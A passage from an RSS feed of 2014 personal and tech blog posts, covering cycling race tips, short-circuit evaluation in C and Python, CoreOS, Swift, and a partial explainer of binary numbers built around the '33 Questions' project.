has passed during which I had no cause to sit down and revel in the simple beauty of nature and its rustic inhabitants.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-61013.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 01 Jul 2014 10:02:24 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-61013.html</guid></item><item><title>From Open Government to Open Corporation</title><link>https://www.danstroot.com/posts/2014-07-01-from-open-government-to-open-corporation</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/data_gov.png" /&gt;&lt;br /&gt;&lt;br /&gt;President Barack Obama, on his first day in office in 2009, signed an executive order stating that all government information that did not have to be kept secret for security or privacy reasons should be made public. The administration also launched the Open Data Initiative to publish government data and the http://www.data.gov website to distribute the data.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-07-01-from-open-government-to-open-corporation"&gt;From Open Government to Open Corporation&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Tue, 01 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-07-01-from-open-government-to-open-corporation</guid></item><item><title>Between Shades of Gray</title><link>https://apurva-shukla.me/bookshelf/between-shades-of-gray/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ I really liked this book, especially the setting and the timeframe. It had good character development with Lina having flashbacks…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Mon, 30 Jun 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/between-shades-of-gray/</guid></item><item><title>Amazon Sells Everything</title><link>http://www.amazon.com/Images-SI-Uranium-Ore/dp/B000796XXM/ref=sr_1_9?ie=UTF8&amp;qid=1403704779&amp;sr=8-9&amp;keywords=uranium+ore</link><description>&lt;p&gt;Hat-tip to Hayes Brown for &lt;a href="https://twitter.com/HayesBrown/status/481643519161823232"&gt;tweeting&lt;/a&gt; this link, apparently Amazon does, indeed, sell everything&amp;#160;&amp;#8212;&amp;#160;including, it seems, radioactive uranium ore. This surprisingly unsurprising development is not the best part though, but rather the &amp;#8220;Customer Questions and Answers&amp;#8221; section as well as the top reviews; in a word, hilarious.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.amazon.com/Images-SI-Uranium-Ore/dp/B000796XXM/ref=sr_1_9?ie=UTF8&amp;amp;qid=1403704779&amp;amp;sr=8-9&amp;amp;keywords=uranium+ore"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 30 Jun 2014 09:52:51 GMT</pubDate><guid isPermaLink="true">http://www.amazon.com/Images-SI-Uranium-Ore/dp/B000796XXM/ref=sr_1_9?ie=UTF8&amp;qid=1403704779&amp;sr=8-9&amp;keywords=uranium+ore</guid></item><item><title>Change</title><link>https://josh.works/growth/2014/06/30/change/</link><description>&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe59e4b0278244cea0f1_1434910444982_2014-04-11-12-58-21.jpg_" /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The more things change, the more they stay the same.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Or something like that. Sometimes change is for the better, and sometimes its for the worse. I don’t know if there’s always a difference.&lt;/p&gt;

&lt;p&gt;Recently, Kristi and I have seen lots of change; I’d say its for the better, but it’s not without difficulties. We’ve both gotten new jobs, and moved to Colorado. Each of those could take up a few thousand words a piece, but I consider it sufficient to say “things have changed”.&lt;/p&gt;

&lt;p&gt;And in other ways, things have not changed. We are part of a wonderful community that is not tied to a specific location. We have our family, and good friends. The Gospel continues to be true.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe59e4b0278244cea0f1/1434910444982/2014-04-11-12-58-21.jpg"&gt;&lt;img alt="A beautiful lunch spot" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe59e4b0278244cea0f1_1434910444982_2014-04-11-12-58-21.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 30 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/06/30/change/</guid></item><item><title>SPY Belgian Waffle Ride Tips</title><link>https://huphtur.nl/spy-belgian-waffle-ride-tips/</link><description>&lt;p&gt;Back in April I participated in what was labeled &lt;em&gt;The Most Unique Cycling Event in The U.S.&lt;/em&gt; aka the &lt;a href="https://facebook.com/SPYBWR"&gt;SPY Belgian Waffle Ride.&lt;/a&gt;. A 217KM long ride/race with over 3450 meters of climbing, dirt sections, water crossing, jerseys, waffles and beer. What more does a bike nerd need?!&lt;/p&gt;
&lt;p&gt;&lt;img alt="SPYBWR Flyer." src="https://huphtur.nl/images/spybwr-flyer.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;I had absolutely no idea what to expect and wish I was a bit more informed about this race. So below are a couple of tips on how to do fairly well in this crazy event.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: most these tips may sound very obvious to my fellow bike racers, but it never hurts to get some reaffirmation.&lt;/p&gt;
&lt;h2&gt;Register Early&lt;/h2&gt;
&lt;p&gt;This things fills up quick! By the time I found out about the event, online registration had already closed. I put myself on the waiting list and somehow made it in. There is no race day registration, so as soon as reg opens (on &lt;a href="https://bikereg.com/"&gt;BikeReg&lt;/a&gt;), get a spot!&lt;/p&gt;
&lt;h2&gt;Train Hard Retard!&lt;/h2&gt;
&lt;p&gt;This is not your typical 4 hour road race. This year’s winner (&lt;a href="http://procyclingstats.com/rider/neil_Shirley" title="jups, an ex pro"&gt;Neil Shirley&lt;/a&gt;) did it in 6:39 hrs. I finished in &lt;a href="https://facebook.com/SPYBWR/photos/pb.355066887856291.-2207520000.1410205617./843975022298806/"&gt;7:30 hrs&lt;/a&gt;. So train hard, put in some good miles and solid efforts. &lt;strong&gt;PRO tip&lt;/strong&gt;: get a &lt;a href="http://theforcetraining.com/" title="cycling coach"&gt;good bike coach&lt;/a&gt;. Also make sure to eat plenty of legit carbs in the week leading up to the race. Loading up on carbs the day before the race is somewhat useless.&lt;/p&gt;
&lt;h2&gt;Install Granny Gears&lt;/h2&gt;
&lt;p&gt;You will be going up some insane steep hills. A couple of these hills are straight gravel and sand, so it will be impossible to get out the saddle or your rear wheel will spin out. Install a 27T or 28T cog. Hell, you might even want to install a compact.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/pb.355066887856291.-2207520000.1403581121./835616586467983/"&gt;&lt;img alt="This hill hurts, specially after 200KM of racing. Photo: Sean O’Brein." src="https://huphtur.nl/images/spybwr-steep-hill.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Get Strong Rims and Fat Tires&lt;/h2&gt;
&lt;p&gt;The bigger/stronger the better. Some of the rocks you will ride on are ridiculously sharp and big. Remember: you will be racing on “roads” that mountain bikers like to do their thing on. I stuck to my trusty &lt;a href="http://www.amazon.com/gp/product/B00E9DAHUM?ie=UTF8&amp;amp;camp=213733&amp;amp;creative=393177&amp;amp;creativeASIN=B00E9DAHUM&amp;amp;linkCode=shr&amp;amp;tag=thhocr02-20&amp;amp;linkId=A5ADVUAP5L6GYQKI"&gt;HED Ardennes Plus&lt;/a&gt; wheels with some beefy 28s inflated to 4.5 bar. The tire barely fit my Specialized Tarmac frame, when I got out the saddle, my rear tire was rubbing the chain stay due to flexing. But the rest of my ride was smooth.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/a.847670185262623.1073741834.355066887856291/847670621929246/"&gt;&lt;img alt="Those rocks are very sharp. Photo: Jake Orness." src="https://huphtur.nl/images/spybwr-bike-crash.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Stick to Road Pedals + Shoes&lt;/h2&gt;
&lt;p&gt;For a minute I thought about riding with MTB pedals and shoes. In fact, the week before the race I trained with some, but decided to stick to my road shoes. Glad I did, the only time I had to walk was when we took a wrong turn and had to walk up a little hill.&lt;/p&gt;
&lt;h2&gt;Skip the Expo&lt;/h2&gt;
&lt;p&gt;The day before the race you have the opportunity to pick up your number and other race goodies. SPY puts on a great expo with all kinds of food, beer, and pony rides. Unless you live close to the event (Carlsbad), I suggest you skip the expo and do some leg openers instead. Pick up your number the morning of the race. You have plenty of time to prep.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/GuyEast/status/460170825035821056/"&gt;&lt;img alt="Yes, that’s a Unicorn. Photo: Guy East." src="https://huphtur.nl/images/spybwr-unicorn-guy.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Skip the Waffles&lt;/h2&gt;
&lt;p&gt;When you arrive at the start of the race, you will be present by the smell of fresh baked waffles. Just like any other typical race, go through your regular pre-race routine and resist the waffles.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/a.847670185262623.1073741834.355066887856291/847670308595944/"&gt;&lt;img alt="Don’t. Photo: Jake Orness." src="https://huphtur.nl/images/spybwr-waffles-and-eggs.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Stay Near the Front&lt;/h2&gt;
&lt;p&gt;The first hour of this years race was a neutral roll out with full police escort. You will have plenty of time to warm up the legs, socialize or even go for a pee. Just get ready to stay near the front when the real race starts because mayhem will ensue. I had no idea when or where it officially started and was positioned in the middle. Right away a crash happened right and it took a while to get around a pile of bikes including a grown man screaming on the ground (no joke).&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/pb.355066887856291.-2207520000.1410205617./847670361929272/"&gt;&lt;img alt="Neutral Roll Out. Photo: Jake Orness." src="https://huphtur.nl/images/spybwr-neutral.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Single-Track Racing&lt;/h2&gt;
&lt;p&gt;Before this race I had never ridden on a single track so had no idea what to expect. Basically it’s a super narrow dirt path which makes it impossible to pass or get passed on. Someone passed me, hit me and apologized, I told him “don’t worry about it, it’s a race!”. If you get stuck behind a slower person just call out where you’re gonna pass and blast by them. Most likely you will hit the person, but whatever, it’s a race!&lt;/p&gt;
&lt;h2&gt;Speed Up For Sand&lt;/h2&gt;
&lt;p&gt;At times you will hit some really deep sand. Your bike will decelerate and might get squirrely if you don’t keep your speed up. Lean back a bit and keep pedaling.&lt;/p&gt;
&lt;h1&gt;Bring Extra Tubes&lt;/h1&gt;
&lt;p&gt;“Holy shit, Thanks to my 28s I’m able to finish without any flats!”, is what I thought in the last couple kilometers. Until… I kid you not… 1KM before the finish, I got a flat! I’ve bounced over sharp rocks the size of baby heads and I get nailed [pun!] by a tiny staple right before the finish. I thought about riding on my rims, but it was too sketchy, and I quickly replaced my tube. So, bring tubes, because most likely you will flat.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/a.836212053075103.1073741832.355066887856291/836212699741705"&gt;&lt;img alt="Get prepared to do this. Photo: Lucas Keenan." src="https://huphtur.nl/images/spybwr-flat-tire.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Set Targets&lt;/h2&gt;
&lt;p&gt;Someone in the &lt;a href="http://strava.com/clubs/spy-bwr-23866"&gt;SPYBWR Strava group&lt;/a&gt; broke down the entire race: every turn, stop sign, climb, feed zone etc. I used this to produce a cheat sheet, which I taped to my stem. I wrote down the top of the major climbs (that way I knew how much longer I had to go in the red) and the feed zones (so I knew how much liquids I had to conserve). And since the race is &lt;em&gt;really&lt;/em&gt; long, it helps to set little goals to check off as you go.&lt;/p&gt;
&lt;h2&gt;Eat&lt;/h2&gt;
&lt;p&gt;Bring all the food for the entire race with you. Yes, there are plenty of feed zones, but you don’t want to stop for food. Stuff your pockets. Eat your solid foods earlier in the race and keep the blocks and gels for last part of the race. It gets harder and harder to eat the longer the race lasts.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/pb.355066887856291.-2207520000.1410205617./847670228595952/"&gt;&lt;img alt="Don’t bonk bro! Photo: Jake Orness." src="https://huphtur.nl/images/spybwr-eat.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Drink&lt;/h2&gt;
&lt;p&gt;Fill up your bottles with your favorite mix at the start of the race. They have plenty of feed zones where you can throw away your empty bottles and grab fresh ones. But get ready to taste some of the craziest mix flavors.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/pb.355066887856291.-2207520000.1410207332./836326369730338/"&gt;&lt;img alt="Grab-n-Go, just like a real race. Photo: Kristy Morrow." src="https://huphtur.nl/images/spybwr-feedzone.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Pay Attention to the Directions&lt;/h2&gt;
&lt;p&gt;There are signs and arrows on the road to point you to the right direction. Always pay attention to them. At one point the group I was with took a wrong turn and we were off course for a few minutes until someone set us straight. So even when you’re in a big pack keep looking for the directions.&lt;/p&gt;
&lt;h2&gt;Keep Hammering&lt;/h2&gt;
&lt;p&gt;People will get dropped, people will drop you. You will pick people up. People will crash in front of you, next to you or even into you. Bikini girls will convince you to stop for a refreshing beverage (I failed to resist). Whatever you do, &lt;strong&gt;do NOT stop!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/a.835614389801536.1073741830.355066887856291/835615433134765/"&gt;&lt;img alt="Ryan Trebon did not stop for anything (and finished 2nd). Photo: Sean O’Brein." src="https://huphtur.nl/images/spybwr-ryan-trebon.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Recover&lt;/h2&gt;
&lt;p&gt;At the finish you will be rewarded with tons of food and beer. Eat as much as you can to recover, and drink all the beers (if you still have to drive, bring the beer home as a trophy).&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/SPYBWR/photos/a.847670185262623.1073741834.355066887856291/847670805262561/"&gt;&lt;img alt="Beer yo. Photo: Jake Orness." src="https://huphtur.nl/images/spybwr-beer.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That’s it! By far the most brutal but fun race I’ve ever done and can’t wait to it again next year (&lt;a href="https://www.facebook.com/spyperformance/photos/a.708934289120041.1073741826.269993789680762/984145304932270/"&gt;April 26, 2015&lt;/a&gt;)!&lt;/p&gt;
&lt;div class="strava-embed-placeholder"&gt;&lt;/div&gt;</description><author>huphtur</author><pubDate>Mon, 30 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/spy-belgian-waffle-ride-tips/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-62314.html</link><description>&lt;p&gt;Finally, after an uncomfortable few weeks of just one or two entries here, I have amassed a respectable roster highlighting the past week&amp;#8217;s best podcasts. Enjoy!&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-62314.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 29 Jun 2014 14:35:20 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-62314.html</guid></item><item><title>Short-circuit evaluation</title><link>https://nutcroft.mataroa.blog/blog/short-circuit-evaluation/</link><description>&lt;p&gt;Short-circuit evaluation is something that as a junior programmer I did not read about but I encountered it in practice.&lt;/p&gt;
&lt;p&gt;In C [1] you can do something like this:&lt;/p&gt;
&lt;div style="background: #fdf6e3;"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span style="color: #859900;"&gt;if&lt;/span&gt;&lt;span style="color: #657B83;"&gt; (i&lt;/span&gt;&lt;span style="color: #93A1A1;"&gt;++&lt;/span&gt;&lt;span style="color: #657B83;"&gt; &lt;/span&gt;&lt;span style="color: #93A1A1;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #657B83;"&gt; &lt;/span&gt;&lt;span style="color: #2AA198;"&gt;10&lt;/span&gt;&lt;span style="color: #657B83;"&gt; &lt;/span&gt;&lt;span style="color: #93A1A1;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: #657B83;"&gt; j&lt;/span&gt;&lt;span style="color: #93A1A1;"&gt;++&lt;/span&gt;&lt;span style="color: #657B83;"&gt; &lt;/span&gt;&lt;span style="color: #93A1A1;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #657B83;"&gt; &lt;/span&gt;&lt;span style="color: #2AA198;"&gt;20&lt;/span&gt;&lt;span style="color: #657B83;"&gt;)&lt;/span&gt;
&lt;span style="color: #657B83;"&gt;{&lt;/span&gt;
&lt;span style="color: #657B83;"&gt;  &lt;/span&gt;&lt;span style="color: #93A1A1;"&gt;// do some stuff&lt;/span&gt;
&lt;span style="color: #657B83;"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In this case if &lt;code&gt;i &amp;lt; 10&lt;/code&gt; is false, the C compiler will not care to check &lt;code&gt;j &amp;lt; 20&lt;/code&gt; since it has already decided that it will not enter the if-statement. This is because there is an AND - &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; operator and since the first part was not true, there is no way for the whole to be true. The problem, in this case, is that the condition that won't be checked also includes a variable assignment. This means that you may expect it to run at least one time, but it won't, since C understands there is no point in wasting time to do this.&lt;/p&gt;
&lt;p&gt;Of course, after you learn this you can use it to your own ends.&lt;/p&gt;
&lt;p&gt;Python also supports short-circuit evaluation (notice the word &lt;em&gt;supports&lt;/em&gt;; it is a feature!).&lt;/p&gt;
&lt;p&gt;We have something like this:&lt;/p&gt;
&lt;div style="background: #fdf6e3;"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span style="color: #859900;"&gt;if&lt;/span&gt; &lt;span style="color: #657B83;"&gt;large_number&lt;/span&gt; &lt;span style="color: #93A1A1;"&gt;%&lt;/span&gt; &lt;span style="color: #657B83;"&gt;i&lt;/span&gt; &lt;span style="color: #93A1A1;"&gt;==&lt;/span&gt; &lt;span style="color: #2AA198;"&gt;0&lt;/span&gt; &lt;span style="color: #859900;"&gt;and&lt;/span&gt; &lt;span style="color: #657B83;"&gt;is_prime(i):&lt;/span&gt;
    &lt;span style="color: #657B83;"&gt;prime&lt;/span&gt; &lt;span style="color: #93A1A1;"&gt;=&lt;/span&gt; &lt;span style="color: #2AA198;"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We have a two-part condition. The first is a division. The second is a function call which calculates something with high complexity. If we first check the easy part (short time), we may not have to check the hard part (long time) because of short-circuit evaluation. Respectively, if we first check the hard part, we may not have to check the easy part &lt;strong&gt;but&lt;/strong&gt; we will already have wasted some time.&lt;/p&gt;
&lt;p&gt;Of course, that's not always the case. The likelihood of one of the parts evaluating more often than the other as true is important. However, this example is enough to demonstrate how we can use short-circuit evaluation in our favor.&lt;/p&gt;
&lt;div style="background: #fdf6e3;"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span style="color: #859900;"&gt;if&lt;/span&gt; &lt;span style="color: #657B83;"&gt;large_number&lt;/span&gt; &lt;span style="color: #93A1A1;"&gt;%&lt;/span&gt; &lt;span style="color: #657B83;"&gt;i&lt;/span&gt; &lt;span style="color: #93A1A1;"&gt;==&lt;/span&gt; &lt;span style="color: #2AA198;"&gt;0&lt;/span&gt;&lt;span style="color: #657B83;"&gt;:&lt;/span&gt;
    &lt;span style="color: #859900;"&gt;if&lt;/span&gt; &lt;span style="color: #657B83;"&gt;is_prime(i):&lt;/span&gt;
        &lt;span style="color: #657B83;"&gt;prime&lt;/span&gt; &lt;span style="color: #93A1A1;"&gt;=&lt;/span&gt; &lt;span style="color: #2AA198;"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we didn't have short-circuit evaluation and we wanted to avoid the needless computation of &lt;code&gt;is_prime(i)&lt;/code&gt;, we would have to do something like the code above.&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;[1] This is true in other languages as well.&lt;/p&gt;</description><author>nutcroft</author><pubDate>Sun, 29 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/short-circuit-evaluation/</guid></item><item><title>CoreOS: thousands of machines and millions of Docker containers... no hypervisor needed.</title><link>https://www.danstroot.com/posts/2014-06-29-coreos-thousands-of-machines-and-millions-of-docker-containers-no-hypervisor-needed</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/coreos_2.png" /&gt;&lt;br /&gt;&lt;br /&gt;I have been playing around with CoreOS to get a sense of how everything works. The vision of this project is incredible. CoreOS describes itself as "a new Linux distribution that has been re-architected to provide features needed to run modern infrastructure stacks. The strategies and architectures that influence CoreOS allow companies like Google, Facebook and Twitter to run their services at scale with high resilience."&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-06-29-coreos-thousands-of-machines-and-millions-of-docker-containers-no-hypervisor-needed"&gt;CoreOS: thousands of machines and millions of Docker containers... no hypervisor needed.&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Sun, 29 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-06-29-coreos-thousands-of-machines-and-millions-of-docker-containers-no-hypervisor-needed</guid></item><item><title>Improving iMessages with Geofencing</title><link>https://zacs.site/blog/improving-imessages-with-geofencing.html</link><description>&lt;p&gt;The other day, as I drove home from work and practiced my dictation to the tune of Siri&amp;#8217;s inept transcription abilities, I deftly tapped iMessages&amp;#8217; &amp;#8220;Send as Text Message&amp;#8221; tooltip for what&amp;#160;&amp;#8212;&amp;#160;given the number of text messages I send each month&amp;#160;&amp;#8212;&amp;#160;must quite literally fall somewhere in the neighborhood of the millionth time. I tapped this button two or three times until, finally, my phone realized I wanted every outgoing message sent without the use of Apple&amp;#8217;s clever and oh-so-convenient replacement. Then, as if to mock me, a few seconds later it switched back to sending everything as an iMessage. I just couldn&amp;#8217;t win.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/improving-imessages-with-geofencing.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 28 Jun 2014 11:47:51 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/improving-imessages-with-geofencing.html</guid></item><item><title>Screenshot Saturday 178</title><link>https://etodd.io/2014/06/28/screenshot-saturday-178/</link><description>&lt;p&gt;Small update. This week was bug fixes and more improvements to the level editor &lt;a href="https://etodd.io/2014/06/20/screenshot-saturday-177/"&gt;(more on that here)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In other news, we were grateful to get some coverage from &lt;a href="https://www.youtube.com/watch?v=_POFzSRaHdY"&gt;Monday Night Indie&lt;/a&gt;! Unfortunately the stream highlighted some pretty major issues with the tutorial, so...&lt;/p&gt;
&lt;p&gt;Brand new level design!&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/1U2ykBr.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/1U2ykBrl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That's it for this week. Thanks for reading.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 28 Jun 2014 04:22:05 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/06/28/screenshot-saturday-178/</guid></item><item><title>Swift Excitement</title><link>http://joe-steel.com/2014-06-03-Swift-Excitement.html</link><description>&lt;p&gt;From the day after Apple&amp;#8217;s WWDC Keynote, Joe Steele took a refreshingly even-handed look at Swift, giving both the opinions of its proponents and opponents equal time, attention, and weight. And as if this were not enough, he included a number of astute observations and his causes for both concern and enthusiasm as well. If you, like me, have trouble staying abreast of tech news and thus have yet to read much about Swift, this is a great starting point.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://joe-steel.com/2014-06-03-Swift-Excitement.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 27 Jun 2014 09:50:57 GMT</pubDate><guid isPermaLink="true">http://joe-steel.com/2014-06-03-Swift-Excitement.html</guid></item><item><title>33 Questions and numeral systems</title><link>https://nutcroft.mataroa.blog/blog/33-questions-and-numeral-systems/</link><description>&lt;p&gt;&lt;a href="https://github.com/MarkDunne/33-questions"&gt;33 Questions&lt;/a&gt; is a GitHub repository with the purpose of coming up with exactly 33 polar questions (yes or no questions) which will be able to identify every person living on Earth.&lt;/p&gt;
&lt;p&gt;Here is its README.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;# 33 Questions&lt;/p&gt;
&lt;p&gt;There are a little over 7 billion people in the world. That's about 2^33 people.&lt;/p&gt;
&lt;p&gt;We could give everybody on the planet a unique series of 33 1s and 0s, and identify anyone by their personal series. But that would be boring.&lt;/p&gt;
&lt;p&gt;What if, instead assigning 1s and 0s, we had 33 'Yes' or 'No' general questions that, when answered correctly, uniquely identified everyone on the planet. Does this set of questions exist and if they do, what are they? The aim of this project is to answer those questions.&lt;/p&gt;
&lt;p&gt;The perfect set of questions will be notoriously difficult to produce. Every question will have to almost exactly divide the population between 'Yes' and 'No', as well as being completely independent of all other questions.&lt;/p&gt;
&lt;p&gt;As an example, having both the questions "Are you male?" and "Are you below the median age?" will not work because there are more females above the median age than men. Separately they might divide the population, but together they will not split the population into 4 group of 25% as required.&lt;/p&gt;
&lt;p&gt;To contribute to the project, open up a pull request and add your question to the list below. All questions are open to debate and discussion.
The Questions (open to debate)
* Do you identify yourself as male?
* Do you currently live in one of the following countries: China, India, The United States, Indonesia, Brazil or Pakistan?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="how-they-plan-to-do-it"&gt;How they plan to do it&lt;/h2&gt;
&lt;h3 id="short-answer"&gt;Short Answer&lt;/h3&gt;
&lt;p&gt;Every answer to those questions is mapped to either 0 or 1 (depending on whether it's a yes or a no). Answering all 33 means we have 33 bits, which form a binary number, which will be unique for every alive person.&lt;/p&gt;
&lt;h3 id="long-answer"&gt;Long Answer&lt;/h3&gt;
&lt;h4 id="binary"&gt;Binary&lt;/h4&gt;
&lt;p&gt;Firstly, we need to understand binary numbers. We, everyday people, think and operate on a base 10 (decimal) numeral system. That means, we have 10 unique digits to identify all numbers, from -∞ to +∞. 0, 1, 2, 3, 4, 5, 6, 7, 8, 9. Every number we write is composed only by these 10 symbols. We could have other systems, but history decided that base 10 is the best choice since (a) we have 10 fingers which we can use to count and (b) it is a balanced number, meaning (i) not there are not many digits to learn by heart and (ii) not many digits needed to represent big numbers.&lt;/p&gt;
&lt;p&gt;We will explore (i) and (ii) later on. For now, let's focus on how numeral systems work.&lt;/p&gt;
&lt;h4 id="decimal"&gt;Decimal&lt;/h4&gt;
&lt;p&gt;To understand and learn how to count on different systems we need to understand how we count on our base 10 system. We learn this skill early on our lives and we do not bother understanding it internally (we can't at that time anyhow), so we just learn it intuitively. This is good for learning it, but not for understanding it algorithmically, with a cold logic.&lt;/p&gt;
&lt;p&gt;Now, let's count!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     0
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    ..
    19
    20
    21
    22
    ..
    98
    99
   100
   101
   102
   ...
   998
   999
  1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the way I put each number after another: the units on the rightmost "column", decades on the second from the right, the hundreds on the third from the right, and so on. Now pay attention to this: we start counting from 1, then 2, continuing 3, 4, ..., until 9. That is where we finish with our digits, there are no more, and when this happens we reset our counter and add 1 on the left of the number, which means we already have counted 1 decade and we continue from there. So 11 means we have one decade, a 10 plus 1.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  10
+  1
----
  11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We could write it like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  10
+ 01
----
  11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here decades and units seem more clearly separated and it is noticeable the fact that at the beginning we have 0 decades, which we do not represent explicitly. Every time we max a column we reset it and add 1 on the left of it. When we count from 0 to 9 we max the column of units, because we have reached 9 which is the last digit. Then we reset it and add 1 on the left, which is incrementing the column of decades since we already counted one. The same thing happens when we count from 120 to 129. The next number is 130, which is resetting units (0 at the rightmost column) and adding 1 to the next on the left (2 becomes 3).&lt;/p&gt;
&lt;p&gt;A nice visualization is with old kilometer or miles counters. Each "column" was represented by a thin cylinder which had all digits on its circular edge. When we would travel the counting would begin and the cylinders would spin, and when there was a full circle and it would reach 0, the next from the left cylinder would also be incremented by 1. At the beginning, it was like this, all zeros, and it would develop as such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 00000
 00001
 00002
   ...
 00010
 00011
   ...
 00019
 00020
 00021
 00022
   ...
 00098
 00099
 00100
 00101
 00102
   ...
 00998
 00999
 01000
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="lets-count-binary"&gt;Let's count binary!&lt;/h4&gt;
